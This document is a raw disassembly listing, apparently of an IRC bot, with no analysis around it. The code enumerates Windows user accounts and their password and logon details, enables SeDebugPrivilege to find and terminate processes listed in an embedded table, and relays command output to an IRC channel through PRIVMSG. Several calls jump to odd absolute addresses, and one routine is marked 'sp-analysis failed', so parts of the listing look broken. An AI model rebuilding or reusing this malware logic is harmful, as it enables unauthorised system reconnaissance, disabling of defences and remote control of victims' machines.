CODE XREF: sub_418DAF+7Bj ; sub_418DAF+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_418DAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E7B proc near ; CODE XREF: sub_418DAF+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push [ebp+arg_8] mov [ebp+var_24], eax call sub_418C2A add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CAE4C pop edi leave retn sub_418E7B endp ; =============== S U B R O U T I N E ======================================= sub_418ED5 proc near ; CODE XREF: sub_418DAF+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push eax push esi call dword_4CAE3C pop esi retn sub_418ED5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EF6 proc near ; CODE XREF: sub_418DAF+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CAFCC test eax, eax mov [ebp+arg_0], eax jnz loc_41929E mov eax, [ebp+var_4] test eax, eax jz loc_4192D9 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41B886 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419015 dec eax jz short loc_41900E dec eax jz short loc_419007 mov eax, offset aUnknown ; "Unknown" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419007: ; CODE XREF: sub_418EF6+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418EF6+105j mov eax, offset aUser_1 ; "User" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419015: ; CODE XREF: sub_418EF6+102j mov eax, offset aGuest ; "Guest" loc_41901A: ; CODE XREF: sub_418EF6+10Fj ; sub_418EF6+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41B886 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 add esp, 20h pop edi pop ebx jmp short loc_4192CA ; --------------------------------------------------------------------------- loc_41929E: ; CODE XREF: sub_418EF6+35j push eax lea eax, [ebp+var_204] push offset unk_439178 push eax call sub_41B886 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409A72 add esp, 20h loc_4192CA: ; CODE XREF: sub_418EF6+3A6j cmp [ebp+var_4], 0 jz short loc_4192D9 push [ebp+var_4] call dword_4CB004 loc_4192D9: ; CODE XREF: sub_418EF6+40j ; sub_418EF6+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_418EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192DF proc near ; CODE XREF: sub_401ACD+473Bp var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_418C2A push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_41931E: ; CODE XREF: sub_4192DF+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CAED4 cmp eax, esi mov [ebp+var_C], eax jz short loc_41937F cmp eax, 0EAh jz short loc_41937F push eax push eax call sub_41945F pop ecx push eax lea eax, [ebp+var_218] push offset unk_439368 push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_41937F: ; CODE XREF: sub_4192DF+62j ; sub_4192DF+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41940D xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4193FA loc_419391: ; CODE XREF: sub_4192DF+EDj cmp edi, esi jz short loc_4193D0 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_419391 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D0: ; CODE XREF: sub_4192DF+B4j lea eax, [ebp+var_218] push offset unk_439334 push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4193FA: ; CODE XREF: sub_4192DF+9Ej ; sub_4192DF+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41940D push edi call dword_4CB004 xor edi, edi mov [ebp+var_4], edi loc_41940D: ; CODE XREF: sub_4192DF+A5j ; sub_4192DF+120j cmp [ebp+var_C], 0EAh jz loc_41931E cmp edi, esi jz short loc_419425 push edi call dword_4CB004 loc_419425: ; CODE XREF: sub_4192DF+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4192DF endp ; =============== S U B R O U T I N E ======================================= sub_41945F proc near ; CODE XREF: sub_418A98+41p ; sub_418C8E+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419511 jz loc_41950A cmp eax, 7Bh ja short loc_4194D6 jz short loc_4194CC cmp eax, 5 jz short loc_4194C2 cmp eax, 8 jz short loc_4194B8 cmp eax, 32h jz short loc_4194AE cmp eax, 35h jz short loc_4194A4 cmp eax, 57h jnz loc_419560 push offset aInvalidParamet ; "Invalid parameter." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194A4: ; CODE XREF: sub_41945F+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194AE: ; CODE XREF: sub_41945F+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194B8: ; CODE XREF: sub_41945F+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194C2: ; CODE XREF: sub_41945F+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_41945F+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194D6: ; CODE XREF: sub_41945F+1Aj sub eax, 7Ch jz short loc_419503 sub eax, 7C8h jz short loc_4194FC dec eax jz short loc_4194F2 dec eax jnz short loc_419560 push offset aDuplicateShare ; "Duplicate share name." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194F2: ; CODE XREF: sub_41945F+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194FC: ; CODE XREF: sub_41945F+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419503: ; CODE XREF: sub_41945F+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41950A: ; CODE XREF: sub_41945F+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419511: ; CODE XREF: sub_41945F+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_41954A jz short loc_419543 sub eax, 8ADh jz short loc_419575 dec eax dec eax jz short loc_41953C dec eax jz short loc_419535 dec eax dec eax jnz short loc_419560 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419535: ; CODE XREF: sub_41945F+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41953C: ; CODE XREF: sub_41945F+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419543: ; CODE XREF: sub_41945F+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41954A: ; CODE XREF: sub_41945F+B9j sub eax, 8CAh jz short loc_41957C sub eax, 17h jz short loc_419575 sub eax, 25h jz short loc_41956E sub eax, 29h jz short loc_419567 loc_419560: ; CODE XREF: sub_41945F+35j ; sub_41945F+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419567: ; CODE XREF: sub_41945F+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41956E: ; CODE XREF: sub_41945F+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419575: ; CODE XREF: sub_41945F+C2j ; sub_41945F+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41957C: ; CODE XREF: sub_41945F+F0j push offset aNetworkConnect ; "Network connection not found." loc_419581: ; CODE XREF: sub_41945F+40j ; sub_41945F+4Aj ... push offset dword_4DAB90 call sub_41B886 pop ecx mov eax, offset dword_4DAB90 pop ecx retn sub_41945F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419593 proc near ; CODE XREF: sub_401ACD+4781p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41D834 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 26A0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41D834 lea eax, [ebp+var_718] push eax call sub_41D817 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CAF84 test eax, eax jnz short loc_419623 mov esi, offset dword_4DA98C push offset unk_43969C push esi call sub_41B886 pop ecx pop ecx jmp short loc_41964C ; --------------------------------------------------------------------------- loc_419623: ; CODE XREF: sub_419593+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_41945F pop ecx mov esi, offset dword_4DA98C push eax push offset dword_439670 push esi call sub_41B886 add esp, 14h loc_41964C: ; CODE XREF: sub_419593+8Ej mov eax, esi pop esi leave retn sub_419593 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419651 proc near ; CODE XREF: sub_416F1A+45p ; sub_416F1A+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call near ptr 26F05C9h nop push eax call dword_4CAF58 test eax, eax jnz short loc_419670 leave retn ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_419651+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CAF30 test eax, eax jz short loc_4196AE cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419697 or [ebp+var_8], 2 jmp short loc_41969B ; --------------------------------------------------------------------------- loc_419697: ; CODE XREF: sub_419651+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41969B: ; CODE XREF: sub_419651+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CAFE0 mov esi, eax loc_4196AE: ; CODE XREF: sub_419651+32j push [ebp+var_4] call near ptr 26408DCh nop mov eax, esi pop esi leave retn sub_419651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196BC proc near ; CODE XREF: sub_401ACD+7915p ; sub_4198EB+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CAF94, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_4198BB cmp dword_4CAF78, ebx jz loc_4198BB cmp dword_4CAE88, ebx jz loc_4198BB push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push ebx push 0Fh call dword_4CAF94 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_4198AE lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CAF78 mov esi, dword_427068 test eax, eax jz loc_4198A9 lea eax, [ebp+var_130] push eax push edi call dword_4CAE88 test eax, eax jz loc_4198A9 mov edi, dword_427084 mov ebx, 1F0FFFh loc_419780: ; CODE XREF: sub_4196BC+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_4197E7 mov [ebp+var_4], offset off_4396C8 loc_41978E: ; CODE XREF: sub_4196BC+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax call near ptr 27F1045h nop test eax, eax jz short loc_4197B6 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_439728 jb short loc_41978E jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197B6: ; CODE XREF: sub_4196BC+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_41988F push 0 push eax nop call near ptr 26E0B5Bh test eax, eax jnz loc_41988F loc_4197DD: ; CODE XREF: sub_4196BC+1B9j push [ebp+var_4] call esi jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197E7: ; CODE XREF: sub_4196BC+C9j cmp [ebp+arg_C], eax jnz loc_41987A cmp [ebp+arg_4], eax jz loc_41988F push [ebp+var_128] push 8 call dword_4CAF94 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41983A lea ecx, [ebp+var_354] push ecx push eax call dword_4CAE34 push [ebp+var_128] test eax, eax jz short loc_419840 lea eax, [ebp+var_234] jmp short loc_419846 ; --------------------------------------------------------------------------- loc_41983A: ; CODE XREF: sub_4196BC+15Cj push [ebp+var_128] loc_419840: ; CODE XREF: sub_4196BC+174j lea eax, [ebp+var_10C] loc_419846: ; CODE XREF: sub_4196BC+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h jmp loc_4197DD ; --------------------------------------------------------------------------- loc_41987A: ; CODE XREF: sub_4196BC+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4198C2 loc_41988F: ; CODE XREF: sub_4196BC+F5j ; sub_4196BC+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CAE88 test eax, eax jnz loc_419780 xor ebx, ebx loc_4198A9: ; CODE XREF: sub_4196BC+9Dj ; sub_4196BC+B3j push [ebp+var_8] call esi loc_4198AE: ; CODE XREF: sub_4196BC+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx loc_4198BB: ; CODE XREF: sub_4196BC+3Aj ; sub_4196BC+46j ... xor eax, eax loc_4198BD: ; CODE XREF: sub_4196BC+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4198C2: ; CODE XREF: sub_4196BC+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi call near ptr 26E0B5Bh nop test eax, eax jnz short loc_4198E6 push edi call esi jmp short loc_4198BB ; --------------------------------------------------------------------------- loc_4198E6: ; CODE XREF: sub_4196BC+223j push 1 pop eax jmp short loc_4198BD sub_4196BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198EB proc near ; DATA XREF: sub_401ACD+26CDo var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_4398C8 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41994A push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_41994A: ; CODE XREF: sub_4198EB+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_4196BC add esp, 18h test eax, eax jnz short loc_419972 push offset unk_4398A4 jmp short loc_419977 ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198EB+7Ej push offset unk_439880 loc_419977: ; CODE XREF: sub_4198EB+85j lea eax, [ebp+var_298] push eax call sub_41B886 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4199AA push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_4199AA: ; CODE XREF: sub_4198EB+9Dj lea eax, [ebp+var_298] push eax call sub_4151AC push [ebp+var_14] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26C0000h pop edi pop esi sub_4198EB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4199C9 proc near ; CODE XREF: sub_401ACD+78B3p ; sub_40B231+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call near ptr 2660382h nop mov esi, eax test esi, esi jz short loc_4199FB push 0 push esi call near ptr 26E0B5Bh nop test eax, eax jnz short loc_4199FB push esi xor edi, edi nop call near ptr 26408DCh loc_4199FB: ; CODE XREF: sub_4199C9+1Aj ; sub_4199C9+27j mov eax, edi pop edi pop esi retn sub_4199C9 endp ; --------------------------------------------------------------------------- dword_419A00 dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh, 35FF18C4h ; DATA XREF: ___:004015EEo dd 4396C4h, 65E2E890h, 0E3EB0224h ; =============== S U B R O U T I N E ======================================= sub_419A20 proc near ; CODE XREF: sub_419A50+2Ap ; sub_419A88+7Ep ... mov eax, dword_4DB1F8 push esi mov esi, dword_427068 cmp eax, 0FFFFFFFFh jz short loc_419A34 push eax call esi loc_419A34: ; CODE XREF: sub_419A20+Fj mov eax, dword_4DB200 cmp eax, 0FFFFFFFFh jz short loc_419A41 push eax call esi loc_419A41: ; CODE XREF: sub_419A20+1Cj mov eax, dword_4DB1F4 cmp eax, 0FFFFFFFFh jz short loc_419A4E push eax call esi loc_419A4E: ; CODE XREF: sub_419A20+29j pop esi retn sub_419A20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A50 proc near ; CODE XREF: sub_401ACD+7604p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41AFE0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DB1FC nop call near ptr 26D0000h test eax, eax jnz short loc_419A83 call sub_419A20 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419A83: ; CODE XREF: sub_419A50+28j push 1 pop eax leave retn sub_419A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A88 proc near ; CODE XREF: sub_419B0F+D3p ; sub_419B0F+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset dword_43D128 push [ebp+arg_4] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_419ACB push 7D0h call near ptr 2660000h nop push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41B886 add esp, 10h jmp short loc_419AE2 ; --------------------------------------------------------------------------- loc_419ACB: ; CODE XREF: sub_419A88+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41B886 add esp, 0Ch loc_419AE2: ; CODE XREF: sub_419A88+41j lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 test eax, eax jg short loc_419B0B call sub_419A20 loc_419B0B: ; CODE XREF: sub_419A88+7Cj xor eax, eax leave retn sub_419A88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B0F proc near ; DATA XREF: sub_419C64+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DB204 loc_419B27: ; CODE XREF: sub_419B0F+79j ; sub_419B0F+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DB1F8 nop call near ptr 27F17C4h test eax, eax jz loc_419BF5 cmp [ebp+var_4], edi jnz short loc_419B8A lea eax, [ebp+var_8] push eax push dword_4DB1F4 nop call near ptr 27F138Ch test eax, eax jz short loc_419B80 cmp [ebp+var_8], 103h jnz loc_419C19 loc_419B80: ; CODE XREF: sub_419B0F+62j push 0Ah nop call near ptr 2660000h jmp short loc_419B27 ; --------------------------------------------------------------------------- loc_419B8A: ; CODE XREF: sub_419B0F+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_419BA1 loc_419B91: ; CODE XREF: sub_419B0F+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_419BEF inc eax cmp eax, [ebp+var_4] jb short loc_419B91 loc_419BA1: ; CODE XREF: sub_419B0F+80j mov [ebp+var_4], esi loc_419BA4: ; CODE XREF: sub_419B0F+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DB1F8 nop call near ptr 26E0000h test eax, eax jz short loc_419C41 lea eax, [ebp+var_20C] push eax push ebx push dword_4DB238 call sub_419A88 add esp, 0Ch jmp loc_419B27 ; --------------------------------------------------------------------------- loc_419BEF: ; CODE XREF: sub_419B0F+8Aj inc eax mov [ebp+var_4], eax jmp short loc_419BA4 ; --------------------------------------------------------------------------- loc_419BF5: ; CODE XREF: sub_419B0F+45j push offset unk_439950 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push 1 nop call near ptr 26C0000h 